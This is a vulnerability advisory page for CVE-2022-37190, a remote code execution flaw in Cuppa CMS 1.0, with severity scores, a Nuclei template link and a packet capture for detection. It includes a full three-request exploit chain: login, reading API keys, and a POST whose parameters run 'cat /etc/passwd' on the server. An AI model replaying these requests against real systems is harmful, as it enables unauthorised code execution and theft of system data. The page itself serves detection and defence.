🔙 목록으로 돌아가기

CVE-2022-37190: Cuppa CMS v1.0 - Remote Code Execution

TitleCuppa CMS v1.0 - Remote Code Execution
Authortheamanrawat
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patch or update to a patched version of Cuppa CMS v1.0 to mitigate this vulnerability.
CVSS Score8.8
EPSS Score0.82094
CVE IDCVE-2022-37190
CWE IDCWE-732
Tags cve2022 cve rce cuppa authenticated cuppacms vuln

🔍 Vulnerability Description

CuppaCMS 1.0 is vulnerable to Remote Code Execution (RCE). An authenticated user can control both parameters (action and function) from “/api/index.php.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user=unJ7xz&password=Kwvg1l&language=en&task=login
POST /components/table_manager/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/59.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

path=component%2Ftable_manager%2Fview%2Fcu_api_keys
POST /api/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
key: jev0RB
Accept-Encoding: gzip

action=system&function=exec&cmd=cat+/etc/passwd

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-37190.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-37190.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A